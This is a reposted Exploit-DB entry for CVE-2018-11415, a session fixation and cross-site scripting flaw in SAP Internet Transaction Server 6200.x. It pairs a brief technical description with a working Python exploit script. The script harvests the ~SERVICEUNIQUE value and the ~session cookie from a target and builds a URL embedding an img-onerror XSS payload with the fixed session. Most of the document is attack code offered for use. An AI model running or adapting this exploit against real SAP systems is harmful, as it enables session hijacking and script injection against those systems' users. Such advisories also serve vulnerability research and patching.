SAP Internet Transaction Server 6200.x – Session Fixation / Cross-Site Scripting

Exploit Database
107 阅读

作者： J. Carrillo Lencina

日期： 2018-05-25
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/44755/

# Exploit Title: SAP Internet Transaction Server (ITS) 6200.X.X - Session Fixation/ Cross-Site Scripting

# Dork: /scripts/wgate/

# Date: 25.05.2018

# Exploit Author: J. Carrillo Lencina (0xd0m7)

# Vendor Homepage: https://www.sap.com

# Version: SAP ITS 6200.X.X

# Category: Webapps

# Tested on: All Platforms

# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11415

# Description:As it has been determined that there are two

vulnerabilities in the latest developed version of SAP ITS, these two

vulnerabilities added together give rise to an XSS.

#Technical details: It has been determined that when an unauthenticated

user navigates through the application, the application assigns a cookie,

that cookie is assigned in the parameter ~ session, therefore it could be

possible for an attacker to fix the fallo ~ session through a request GET

This, together with the fact that the parameter SERVICEUNIQUE has a

parameter validation failure, results in a single-use XSS, since the

session expires once the method of the request is exchanged and fixed in

the URL.

#Exploit

#!/usr/bin/python

import argparse

import requests

import re

parser = argparse.ArgumentParser()

parser.add_argument("-u", "--url", help="Example: https://example.com/wgate/scripts/ralp/!")

args = parser.parse_args()

list=[]

i=0

cookie={'s_fid':'3B9C1B379A11790F-00A298287FA44BF5','s_lv':'1524222141316', 's_nr':'1524222141322-New', 's_vnum':'1555758141333%26vn%3D1'}

url=args.url.split('/')

url2='https://'+str(url[2])+'/'+str(url[3])+'/'+str(url[4])+'/'

if args.url:

r = requests.get(args.url,verify=False,cookies=cookie)

header = r.headers['Set-Cookie']

cookie_val = header.split(";")

for line in r.iter_lines():

list.append(line)

i=i+1

if line.find('~SERVICEUNIQUE') > 0:

param = line.replace('"','')

v = param.split('=')

val0 = v[3].split(' ')

print '[+]Random Value:',val0[0]

for line2 in range(len(cookie_val)):

if cookie_val[line2].find('~session') == 0:

val1 = cookie_val[line2].split('=')

print '[+]Session Value:',val1[1]

print '[+] Vulnerable URL:'+url2+val0[0]+'%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e/?%7ESERVICEUNIQUE='+val0[0]+'%3cimg%20src%3da%20onerror%3dalert(1)%3e&%7Eclientinput=1&%7Elogininput=1&%7Epasswdinput=1&%7Eclient=100&%7Elogin=%3F&%7Epassword=aaaaa&%7EPOV=P&%7EOkCode%3D%2F0=Entrar&~session='+val1[1]

else:

print '[!] Empty URL, please see help (-h,--help)'